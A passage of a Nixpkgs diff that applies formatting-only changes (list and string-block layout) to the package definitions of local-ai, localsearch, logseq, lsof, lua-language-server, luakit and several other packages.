@@ -52,33 +52,31 @@ stdenv.mkDerivation (finalAttrs: {
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      zlib
-      curl.dev
-      re2c
-    ]
-    ++ lib.optionals prqlSupport [
-      cargo
-      rustPlatform.cargoSetupHook
-      rustc
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    zlib
+    curl.dev
+    re2c
+  ]
+  ++ lib.optionals prqlSupport [
+    cargo
+    rustPlatform.cargoSetupHook
+    rustc
+  ];
 
-  buildInputs =
-    [
-      bzip2
-      pcre2
-      readline
-      sqlite
-      curl
-      libarchive
-      libunistring
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      gpm
-    ];
+  buildInputs = [
+    bzip2
+    pcre2
+    readline
+    sqlite
+    curl
+    libarchive
+    libunistring
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    gpm
+  ];
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     src = "${finalAttrs.src}/src/third-party/prqlc-c";
diff --git a/pkgs/by-name/lo/local-ai/package.nix b/pkgs/by-name/lo/local-ai/package.nix
index eb9e91b952d6..41d046fb24c7 100644
--- a/pkgs/by-name/lo/local-ai/package.nix
+++ b/pkgs/by-name/lo/local-ai/package.nix
@@ -112,20 +112,18 @@ let
           hash = "sha256-b9B5I3EbBFrkWc6RLXMWcCRKayyWjlGuQrogUcrISrc=";
           fetchSubmodules = true;
         };
-        postPatch =
-          prev.postPatch
-          + ''
-            cd examples
-            cp -r --no-preserve=mode ${src}/backend/cpp/llama grpc-server
-            cp llava/clip* llava/llava.* grpc-server
-            printf "\nadd_subdirectory(grpc-server)" >> CMakeLists.txt
+        postPatch = prev.postPatch + ''
+          cd examples
+          cp -r --no-preserve=mode ${src}/backend/cpp/llama grpc-server
+          cp llava/clip* llava/llava.* grpc-server
+          printf "\nadd_subdirectory(grpc-server)" >> CMakeLists.txt
 
-            cp ${src}/backend/backend.proto grpc-server
-            sed -i grpc-server/CMakeLists.txt \
-              -e '/get_filename_component/ s;[.\/]*backend/;;' \
-              -e '$a\install(TARGETS ''${TARGET} RUNTIME)'
-            cd ..
-          '';
+          cp ${src}/backend/backend.proto grpc-server
+          sed -i grpc-server/CMakeLists.txt \
+            -e '/get_filename_component/ s;[.\/]*backend/;;' \
+            -e '$a\install(TARGETS ''${TARGET} RUNTIME)'
+          cd ..
+        '';
         cmakeFlags = prev.cmakeFlags ++ [
           (lib.cmakeBool "BUILD_SHARED_LIBS" false)
           (lib.cmakeBool "GGML_AVX" enable_avx)
@@ -251,7 +249,8 @@ let
     nativeBuildInputs = [
       cmake
       pkg-config
-    ] ++ lib.optionals with_cublas [ cuda_nvcc ];
+    ]
+    ++ lib.optionals with_cublas [ cuda_nvcc ];
 
     buildInputs =
       [ ]
@@ -364,43 +363,40 @@ let
 
     env.NIX_CFLAGS_COMPILE = " -isystem ${opencv}/include/opencv4";
 
-    postPatch =
-      ''
-        # TODO: add silero-vad
-        sed -i Makefile \
-          -e '/mod download/ d' \
-          -e '/^ALL_GRPC_BACKENDS+=backend-assets\/grpc\/llama-cpp-avx/ d' \
-          -e '/^ALL_GRPC_BACKENDS+=backend-assets\/grpc\/llama-cpp-cuda/ d' \
-          -e '/^ALL_GRPC_BACKENDS+=backend-assets\/grpc\/silero-vad/ d' \
+    postPatch = ''
+      # TODO: add silero-vad
+      sed -i Makefile \
+        -e '/mod download/ d' \
+        -e '/^ALL_GRPC_BACKENDS+=backend-assets\/grpc\/llama-cpp-avx/ d' \
+        -e '/^ALL_GRPC_BACKENDS+=backend-assets\/grpc\/llama-cpp-cuda/ d' \
+        -e '/^ALL_GRPC_BACKENDS+=backend-assets\/grpc\/silero-vad/ d' \
 
-        sed -i backend/go/image/stablediffusion-ggml/Makefile \
-          -e '/^libsd/ s,$, $(COMBINED_LIB),'
+      sed -i backend/go/image/stablediffusion-ggml/Makefile \
+        -e '/^libsd/ s,$, $(COMBINED_LIB),'
 
-      ''
-      + lib.optionalString with_cublas ''
-        sed -i Makefile \
-          -e '/^CGO_LDFLAGS_WHISPER?=/ s;$;-L${libcufft}/lib -L${cuda_cudart}/lib;'
-      '';
+    ''
+    + lib.optionalString with_cublas ''
+      sed -i Makefile \
+        -e '/^CGO_LDFLAGS_WHISPER?=/ s;$;-L${libcufft}/lib -L${cuda_cudart}/lib;'
+    '';
 
-    postConfigure =
-      prepare-sources
-      + ''
-        shopt -s extglob
-        mkdir -p backend-assets/grpc
-        cp ${llama-cpp-grpc}/bin/grpc-server backend-assets/grpc/llama-cpp-fallback
-        cp ${llama-cpp-rpc}/bin/grpc-server backend-assets/grpc/llama-cpp-grpc
+    postConfigure = prepare-sources + ''
+      shopt -s extglob
+      mkdir -p backend-assets/grpc
+      cp ${llama-cpp-grpc}/bin/grpc-server backend-assets/grpc/llama-cpp-fallback
+      cp ${llama-cpp-rpc}/bin/grpc-server backend-assets/grpc/llama-cpp-grpc
 
-        mkdir -p backend/cpp/llama/llama.cpp
+      mkdir -p backend/cpp/llama/llama.cpp
 
-        mkdir -p backend-assets/util
-        cp ${llama-cpp-rpc}/bin/llama-rpc-server backend-assets/util/llama-cpp-rpc-server
+      mkdir -p backend-assets/util
+      cp ${llama-cpp-rpc}/bin/llama-rpc-server backend-assets/util/llama-cpp-rpc-server
 
-        cp -r --no-preserve=mode,ownership ${stable-diffusion}/build backend/go/image/stablediffusion-ggml/build
+      cp -r --no-preserve=mode,ownership ${stable-diffusion}/build backend/go/image/stablediffusion-ggml/build
 
-        # avoid rebuild of prebuilt make targets
-        touch backend-assets/grpc/* backend-assets/util/*
-        find sources -name "lib*.a" -exec touch {} +
-      '';
+      # avoid rebuild of prebuilt make targets
+      touch backend-assets/grpc/* backend-assets/util/*
+      find sources -name "lib*.a" -exec touch {} +
+    '';
 
     buildInputs =
       [ ]
@@ -417,26 +413,23 @@ let
       ++ lib.optionals with_openblas [ openblas.dev ]
       ++ lib.optionals with_tts go-piper.buildInputs;
 
-    nativeBuildInputs =
-      [
-        protobuf
-        protoc-gen-go
-        protoc-gen-go-grpc
-        makeWrapper
-        ncurses # tput
-        which
-      ]
-      ++ lib.optional enable_upx upx
-      ++ lib.optionals with_cublas [ cuda_nvcc ];
+    nativeBuildInputs = [
+      protobuf
+      protoc-gen-go
+      protoc-gen-go-grpc
+      makeWrapper
+      ncurses # tput
+      which
+    ]
+    ++ lib.optional enable_upx upx
+    ++ lib.optionals with_cublas [ cuda_nvcc ];
 
     enableParallelBuilding = false;
 
-    modBuildPhase =
-      prepare-sources
-      + ''
-        make protogen-go
-        go mod tidy -v
-      '';
+    modBuildPhase = prepare-sources + ''
+      make protogen-go
+      go mod tidy -v
+    '';
 
     proxyVendor = true;
 
@@ -444,13 +437,12 @@ let
     # containing spaces
     env.GO_TAGS = builtins.concatStringsSep " " GO_TAGS;
 
-    makeFlags =
-      [
-        "VERSION=v${version}"
-        "BUILD_TYPE=${BUILD_TYPE}"
-      ]
-      ++ lib.optional with_cublas "CUDA_LIBPATH=${cuda_cudart}/lib"
-      ++ lib.optional with_tts "PIPER_CGO_CXXFLAGS=-DSPDLOG_FMT_EXTERNAL=1";
+    makeFlags = [
+      "VERSION=v${version}"
+      "BUILD_TYPE=${BUILD_TYPE}"
+    ]
+    ++ lib.optional with_cublas "CUDA_LIBPATH=${cuda_cudart}/lib"
+    ++ lib.optional with_tts "PIPER_CGO_CXXFLAGS=-DSPDLOG_FMT_EXTERNAL=1";
 
     buildPhase = ''
       runHook preBuild
diff --git a/pkgs/by-name/lo/localsearch/package.nix b/pkgs/by-name/lo/localsearch/package.nix
index a2e0f6e95475..361545417bf8 100644
--- a/pkgs/by-name/lo/localsearch/package.nix
+++ b/pkgs/by-name/lo/localsearch/package.nix
@@ -60,73 +60,70 @@ stdenv.mkDerivation (finalAttrs: {
     ./tracker-landlock-nix-store-permission.patch
   ];
 
-  nativeBuildInputs =
-    [
-      asciidoc
-      docbook-xsl-nons
-      docbook_xml_dtd_45
-      gettext
-      glib
-      gobject-introspection
-      itstool
-      libxslt
-      meson
-      ninja
-      pkg-config
-      vala
-      wrapGAppsNoGuiHook
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    asciidoc
+    docbook-xsl-nons
+    docbook_xml_dtd_45
+    gettext
+    glib
+    gobject-introspection
+    itstool
+    libxslt
+    meson
+    ninja
+    pkg-config
+    vala
+    wrapGAppsNoGuiHook
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   # TODO: add libenca, libosinfo
-  buildInputs =
-    [
-      bzip2
-      dbus
-      exempi
-      ffmpeg
-      giflib
-      gexiv2
-      totem-pl-parser
-      tinysparql
-      icu
-      json-glib
-      libcue
-      libexif
-      libgsf
-      libgudev
-      libgxps
-      libiptcdata
-      libjpeg
-      libosinfo
-      libpng
-      libtiff
-      libuuid
-      libxml2
-      poppler
-      taglib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libseccomp
-      systemd
-      upower
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      e2fsprogs
-    ];
+  buildInputs = [
+    bzip2
+    dbus
+    exempi
+    ffmpeg
+    giflib
+    gexiv2
+    totem-pl-parser
+    tinysparql
+    icu
+    json-glib
+    libcue
+    libexif
+    libgsf
+    libgudev
+    libgxps
+    libiptcdata
+    libjpeg
+    libosinfo
+    libpng
+    libtiff
+    libuuid
+    libxml2
+    poppler
+    taglib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libseccomp
+    systemd
+    upower
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    e2fsprogs
+  ];
 
-  mesonFlags =
-    [
-      # TODO: tests do not like our sandbox
-      "-Dfunctional_tests=false"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Dbattery_detection=none"
-      "-Dnetwork_manager=disabled"
-      "-Dsystemd_user_services=false"
-    ];
+  mesonFlags = [
+    # TODO: tests do not like our sandbox
+    "-Dfunctional_tests=false"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Dbattery_detection=none"
+    "-Dnetwork_manager=disabled"
+    "-Dsystemd_user_services=false"
+  ];
 
   postInstall = ''
     glib-compile-schemas "$out/share/glib-2.0/schemas"
diff --git a/pkgs/by-name/lo/logisim-evolution/package.nix b/pkgs/by-name/lo/logisim-evolution/package.nix
index 9be23ab7dc60..07a6dde8c7fa 100644
--- a/pkgs/by-name/lo/logisim-evolution/package.nix
+++ b/pkgs/by-name/lo/logisim-evolution/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation (finalAttrs: {
   };
   dontUnpack = true;
 
-  nativeBuildInputs =
-    [
-      makeBinaryWrapper
-      copyDesktopItems
-      unzip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    makeBinaryWrapper
+    copyDesktopItems
+    unzip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/lo/logisim/package.nix b/pkgs/by-name/lo/logisim/package.nix
index 40eb34b93721..f5dca04224e3 100644
--- a/pkgs/by-name/lo/logisim/package.nix
+++ b/pkgs/by-name/lo/logisim/package.nix
@@ -20,15 +20,14 @@ stdenv.mkDerivation (finalAttrs: {
   };
   dontUnpack = true;
 
-  nativeBuildInputs =
-    [
-      makeBinaryWrapper
-      copyDesktopItems
-      unzip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    makeBinaryWrapper
+    copyDesktopItems
+    unzip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/lo/logseq/package.nix b/pkgs/by-name/lo/logseq/package.nix
index fb243ffb49c2..fb7785ede426 100644
--- a/pkgs/by-name/lo/logseq/package.nix
+++ b/pkgs/by-name/lo/logseq/package.nix
@@ -233,37 +233,36 @@ stdenv.mkDerivation (finalAttrs: {
 
   yarnBuildScript = "release-electron";
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      # remove references to nodejs
-      find static/out/*/resources/app/node_modules -type f -executable -exec remove-references-to -t ${nodejs} '{}' \;
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm644 static/icons/logseq.png "$out/share/icons/hicolor/512x512/apps/logseq.png"
+    # remove references to nodejs
+    find static/out/*/resources/app/node_modules -type f -executable -exec remove-references-to -t ${nodejs} '{}' \;
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm644 static/icons/logseq.png "$out/share/icons/hicolor/512x512/apps/logseq.png"
 
-      mkdir -p $out/share/logseq
-      cp -r static/out/*/{locales,resources{,.pak}} $out/share/logseq
+    mkdir -p $out/share/logseq
+    cp -r static/out/*/{locales,resources{,.pak}} $out/share/logseq
 
-      makeWrapper ${lib.getExe electron} $out/bin/logseq \
-          --add-flags $out/share/logseq/resources/app \
-          --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-          --set-default LOCAL_GIT_DIRECTORY ${git} \
-          --inherit-argv0
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r static/out/*/Logseq.app $out/Applications
+    makeWrapper ${lib.getExe electron} $out/bin/logseq \
+        --add-flags $out/share/logseq/resources/app \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+        --set-default LOCAL_GIT_DIRECTORY ${git} \
+        --inherit-argv0
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r static/out/*/Logseq.app $out/Applications
 
-      wrapProgram $out/Applications/Logseq.app/Contents/MacOS/Logseq \
-        --set-default LOCAL_GIT_DIRECTORY ${git}
+    wrapProgram $out/Applications/Logseq.app/Contents/MacOS/Logseq \
+      --set-default LOCAL_GIT_DIRECTORY ${git}
 
-      makeWrapper $out/Applications/Logseq.app/Contents/MacOS/Logseq $out/bin/logseq
-    ''
-    + ''
-      runHook postInstall
-    '';
+    makeWrapper $out/Applications/Logseq.app/Contents/MacOS/Logseq $out/bin/logseq
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/lo/longview/package.nix b/pkgs/by-name/lo/longview/package.nix
index d35bd0592ea6..4ee5e4f983de 100644
--- a/pkgs/by-name/lo/longview/package.nix
+++ b/pkgs/by-name/lo/longview/package.nix
@@ -34,25 +34,24 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
-    [
-      perl
-      glibc
-    ]
-    ++ (with perlPackages; [
-      LWP
-      LWPProtocolHttps
-      MozillaCA
-      CryptSSLeay
-      IOSocketINET6
-      LinuxDistribution
-      JSONPP
-      JSON
-      LogLogLite
-      TryTiny
-      DBI
-      DBDmysql
-    ]);
+  buildInputs = [
+    perl
+    glibc
+  ]
+  ++ (with perlPackages; [
+    LWP
+    LWPProtocolHttps
+    MozillaCA
+    CryptSSLeay
+    IOSocketINET6
+    LinuxDistribution
+    JSONPP
+    JSON
+    LogLogLite
+    TryTiny
+    DBI
+    DBDmysql
+  ]);
 
   dontBuild = true;
 
diff --git a/pkgs/by-name/lo/looking-glass-client/package.nix b/pkgs/by-name/lo/looking-glass-client/package.nix
index 5e8ee0d2a684..cc2c8f8172a1 100644
--- a/pkgs/by-name/lo/looking-glass-client/package.nix
+++ b/pkgs/by-name/lo/looking-glass-client/package.nix
@@ -61,51 +61,51 @@ stdenv.mkDerivation (finalAttrs: {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      libX11
-      libGL
-      freefont_ttf
-      spice-protocol
-      expat
-      libbfd
-      nettle
-      fontconfig
-      libffi
-      nanosvg
-    ]
-    ++ lib.optionals xorgSupport [
-      libxkbcommon
-      libXi
-      libXScrnSaver
-      libXinerama
-      libXcursor
-      libXpresent
-      libXext
-      libXrandr
-      libXdmcp
-    ]
-    ++ lib.optionals waylandSupport [
-      libxkbcommon
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals pipewireSupport [
-      pipewire
-      libsamplerate
-    ]
-    ++ lib.optionals pulseSupport [
-      pulseaudio
-      libsamplerate
-    ];
+  buildInputs = [
+    libX11
+    libGL
+    freefont_ttf
+    spice-protocol
+    expat
+    libbfd
+    nettle
+    fontconfig
+    libffi
+    nanosvg
+  ]
+  ++ lib.optionals xorgSupport [
+    libxkbcommon
+    libXi
+    libXScrnSaver
+    libXinerama
+    libXcursor
+    libXpresent
+    libXext
+    libXrandr
+    libXdmcp
+  ]
+  ++ lib.optionals waylandSupport [
+    libxkbcommon
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals pipewireSupport [
+    pipewire
+    libsamplerate
+  ]
+  ++ lib.optionals pulseSupport [
+    pulseaudio
+    libsamplerate
+  ];
 
-  cmakeFlags =
-    [ "-DOPTIMIZE_FOR_NATIVE=OFF" ]
-    ++ lib.optionals (!openGLSupport) [ "-DENABLE_OPENGL=no" ]
-    ++ lib.optionals (!xorgSupport) [ "-DENABLE_X11=no" ]
-    ++ lib.optionals (!waylandSupport) [ "-DENABLE_WAYLAND=no" ]
-    ++ lib.optionals (!pulseSupport) [ "-DENABLE_PULSEAUDIO=no" ]
-    ++ lib.optionals (!pipewireSupport) [ "-DENABLE_PIPEWIRE=no" ];
+  cmakeFlags = [
+    "-DOPTIMIZE_FOR_NATIVE=OFF"
+  ]
+  ++ lib.optionals (!openGLSupport) [ "-DENABLE_OPENGL=no" ]
+  ++ lib.optionals (!xorgSupport) [ "-DENABLE_X11=no" ]
+  ++ lib.optionals (!waylandSupport) [ "-DENABLE_WAYLAND=no" ]
+  ++ lib.optionals (!pulseSupport) [ "-DENABLE_PULSEAUDIO=no" ]
+  ++ lib.optionals (!pipewireSupport) [ "-DENABLE_PIPEWIRE=no" ];
 
   postUnpack = ''
     echo ${finalAttrs.src.rev} > source/VERSION
diff --git a/pkgs/by-name/lo/lowdown/package.nix b/pkgs/by-name/lo/lowdown/package.nix
index 76900e0acbd8..8c393af15ac2 100644
--- a/pkgs/by-name/lo/lowdown/package.nix
+++ b/pkgs/by-name/lo/lowdown/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     which
     dieHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 
   # The Darwin sandbox calls fail inside Nix builds, presumably due to
   # being nested inside another sandbox.
@@ -61,16 +62,15 @@ stdenv.mkDerivation rec {
     "bins" # prevents shared object from being built unnecessarily
   ];
 
-  installTargets =
-    [
-      "install"
-    ]
-    ++ lib.optionals enableShared [
-      "install_shared"
-    ]
-    ++ lib.optionals enableStatic [
-      "install_static"
-    ];
+  installTargets = [
+    "install"
+  ]
+  ++ lib.optionals enableShared [
+    "install_shared"
+  ]
+  ++ lib.optionals enableStatic [
+    "install_static"
+  ];
 
   postInstall =
     let
diff --git a/pkgs/by-name/lo/lowfi/package.nix b/pkgs/by-name/lo/lowfi/package.nix
index 365f87477ab6..0d5351fdd07d 100644
--- a/pkgs/by-name/lo/lowfi/package.nix
+++ b/pkgs/by-name/lo/lowfi/package.nix
@@ -29,13 +29,12 @@ rustPlatform.buildRustPackage rec {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ];
 
   meta = {
     description = "Extremely simple lofi player";
diff --git a/pkgs/by-name/lr/lrcget/package.nix b/pkgs/by-name/lr/lrcget/package.nix
index 0fdc42ec23dd..a2045feec571 100644
--- a/pkgs/by-name/lr/lrcget/package.nix
+++ b/pkgs/by-name/lr/lrcget/package.nix
@@ -52,20 +52,19 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-N48+C3NNPYg/rOpnRNmkZfZU/ZHp8imrG/tiDaMGsCE=";
   };
 
-  nativeBuildInputs =
-    [
-      cargo-tauri.hook
-      nodejs
-      npmHooks.npmConfigHook
-      rustPlatform.bindgenHook
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      pkg-config
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      makeBinaryWrapper
-    ];
+  nativeBuildInputs = [
+    cargo-tauri.hook
+    nodejs
+    npmHooks.npmConfigHook
+    rustPlatform.bindgenHook
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    pkg-config
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    makeBinaryWrapper
+  ];
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [
     alsa-lib
diff --git a/pkgs/by-name/lr/lrzip/package.nix b/pkgs/by-name/lr/lrzip/package.nix
index e1b257fcd09a..9e10ed9013d2 100644
--- a/pkgs/by-name/lr/lrzip/package.nix
+++ b/pkgs/by-name/lr/lrzip/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     perl
-  ] ++ lib.optionals isx86 [ nasm ];
+  ]
+  ++ lib.optionals isx86 [ nasm ];
 
   buildInputs = [
     zlib
diff --git a/pkgs/by-name/ls/lsd2dsl/package.nix b/pkgs/by-name/ls/lsd2dsl/package.nix
index 73ad7e21a23e..c2b9719e3ab8 100644
--- a/pkgs/by-name/ls/lsd2dsl/package.nix
+++ b/pkgs/by-name/ls/lsd2dsl/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     qt6.wrapQtAppsHook
-  ] ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
 
   buildInputs = [
     boost
diff --git a/pkgs/by-name/ls/lshw/package.nix b/pkgs/by-name/ls/lshw/package.nix
index 2e3a8cedc670..a78cae3d87e9 100644
--- a/pkgs/by-name/ls/lshw/package.nix
+++ b/pkgs/by-name/ls/lshw/package.nix
@@ -29,12 +29,13 @@ stdenv.mkDerivation rec {
     gettext
   ];
 
-  buildInputs =
-    [ hwdata ]
-    ++ lib.optionals withGUI [
-      gtk3
-      sqlite
-    ];
+  buildInputs = [
+    hwdata
+  ]
+  ++ lib.optionals withGUI [
+    gtk3
+    sqlite
+  ];
 
   makeFlags = [
     "PREFIX=$(out)"
diff --git a/pkgs/by-name/ls/lsof/package.nix b/pkgs/by-name/ls/lsof/package.nix
index 617fca8861d3..ea038b51147d 100644
--- a/pkgs/by-name/ls/lsof/package.nix
+++ b/pkgs/by-name/ls/lsof/package.nix
@@ -26,19 +26,18 @@ stdenv.mkDerivation rec {
     hash = "sha256-JyvQV/JOMaL/3jUr6O0YIzJU/JcXVR65CJf5ip7334w=";
   };
 
-  postPatch =
-    ''
-      patchShebangs --build lib/dialects/*/Mksrc
-      # Do not re-build version.h in every 'make' to allow nuke-refs below.
-      # We remove phony 'FRC' target that forces rebuilds:
-      #   'version.h: FRC ...' is translated to 'version.h: ...'.
-      sed -i lib/dialects/*/Makefile -e 's/version.h:\s*FRC/version.h:/'
-    ''
-    # help Configure find libproc.h in $SDKROOT
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i -e 's|lcurses|lncurses|g' \
-             -e "s|/Library.*/MacOSX.sdk/|\"$SDKROOT\"/|" Configure
-    '';
+  postPatch = ''
+    patchShebangs --build lib/dialects/*/Mksrc
+    # Do not re-build version.h in every 'make' to allow nuke-refs below.
+    # We remove phony 'FRC' target that forces rebuilds:
+    #   'version.h: FRC ...' is translated to 'version.h: ...'.
+    sed -i lib/dialects/*/Makefile -e 's/version.h:\s*FRC/version.h:/'
+  ''
+  # help Configure find libproc.h in $SDKROOT
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i -e 's|lcurses|lncurses|g' \
+           -e "s|/Library.*/MacOSX.sdk/|\"$SDKROOT\"/|" Configure
+  '';
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
   nativeBuildInputs = [
diff --git a/pkgs/by-name/lu/lua-language-server/package.nix b/pkgs/by-name/lu/lua-language-server/package.nix
index b9b97d323603..98411b5b6501 100644
--- a/pkgs/by-name/lu/lua-language-server/package.nix
+++ b/pkgs/by-name/lu/lua-language-server/package.nix
@@ -32,62 +32,60 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      fmt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rsync
-    ];
+  buildInputs = [
+    fmt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rsync
+  ];
 
   env.NIX_LDFLAGS = "-lfmt";
 
-  postPatch =
+  postPatch = ''
+    # filewatch tests are failing on darwin
+    # this feature is not used in lua-language-server
+    substituteInPlace 3rd/bee.lua/test/test.lua \
+      --replace-fail 'require "test_filewatch"' ""
+
+    # use nixpkgs fmt library
+    for d in 3rd/bee.lua 3rd/luamake/bee.lua
+    do
+      rm -r $d/3rd/fmt/*
+      touch $d/3rd/fmt/format.cc
+      substituteInPlace $d/bee/nonstd/format.h $d/bee/nonstd/print.h \
+        --replace-fail "include <3rd/fmt/fmt" "include <fmt"
+    done
+
+    # flaky tests on linux
+    # https://github.com/LuaLS/lua-language-server/issues/2926
+    substituteInPlace test/tclient/init.lua \
+      --replace-fail "require 'tclient.tests.load-relative-library'" ""
+
+    pushd 3rd/luamake
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin (
+    # This package uses the program clang for C and C++ files. The language
+    # is selected via the command line argument -std, but this do not work
+    # in combination with the nixpkgs clang wrapper. Therefor we have to
+    # find all c++ compiler statements and replace $cc (which expands to
+    # clang) with clang++.
     ''
-      # filewatch tests are failing on darwin
-      # this feature is not used in lua-language-server
-      substituteInPlace 3rd/bee.lua/test/test.lua \
-        --replace-fail 'require "test_filewatch"' ""
-
-      # use nixpkgs fmt library
-      for d in 3rd/bee.lua 3rd/luamake/bee.lua
-      do
-        rm -r $d/3rd/fmt/*
-        touch $d/3rd/fmt/format.cc
-        substituteInPlace $d/bee/nonstd/format.h $d/bee/nonstd/print.h \
-          --replace-fail "include <3rd/fmt/fmt" "include <fmt"
-      done
-
-      # flaky tests on linux
-      # https://github.com/LuaLS/lua-language-server/issues/2926
-      substituteInPlace test/tclient/init.lua \
-        --replace-fail "require 'tclient.tests.load-relative-library'" ""
-
-      pushd 3rd/luamake
+      sed -i compile/ninja/macos.ninja \
+        -e '/c++/s,$cc,clang++,' \
+        -e '/test.lua/s,= .*,= true,' \
+        -e '/ldl/s,$cc,clang++,'
+      sed -i scripts/compiler/gcc.lua \
+        -e '/cxx_/s,$cc,clang++,'
     ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin (
-      # This package uses the program clang for C and C++ files. The language
-      # is selected via the command line argument -std, but this do not work
-      # in combination with the nixpkgs clang wrapper. Therefor we have to
-      # find all c++ compiler statements and replace $cc (which expands to
-      # clang) with clang++.
-      ''
-        sed -i compile/ninja/macos.ninja \
-          -e '/c++/s,$cc,clang++,' \
-          -e '/test.lua/s,= .*,= true,' \
-          -e '/ldl/s,$cc,clang++,'
-        sed -i scripts/compiler/gcc.lua \
-          -e '/cxx_/s,$cc,clang++,'
-      ''
-      # Avoid relying on ditto (impure)
-      + ''
-        substituteInPlace compile/ninja/macos.ninja \
-          --replace-fail "ditto" "rsync -a"
+    # Avoid relying on ditto (impure)
+    + ''
+      substituteInPlace compile/ninja/macos.ninja \
+        --replace-fail "ditto" "rsync -a"
 
-        substituteInPlace scripts/writer.lua \
-          --replace-fail "ditto" "rsync -a"
-      ''
-    );
+      substituteInPlace scripts/writer.lua \
+        --replace-fail "ditto" "rsync -a"
+    ''
+  );
 
   ninjaFlags = [
     "-fcompile/ninja/${if stdenv.hostPlatform.isDarwin then "macos" else "linux"}.ninja"
diff --git a/pkgs/by-name/lu/luakit/package.nix b/pkgs/by-name/lu/luakit/package.nix
index 49b42cfd826a..be9fbcc3be63 100644
--- a/pkgs/by-name/lu/luakit/package.nix
+++ b/pkgs/by-name/lu/luakit/package.nix
@@ -34,22 +34,21 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      glib-networking # TLS support
-      gtk3
-      luafilesystem
-      sqlite
-      webkitgtk_4_1
-    ]
-    ++ (with gst_all_1; [
-      gst-libav
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    glib-networking # TLS support
+    gtk3
+    luafilesystem
+    sqlite
+    webkitgtk_4_1
+  ]
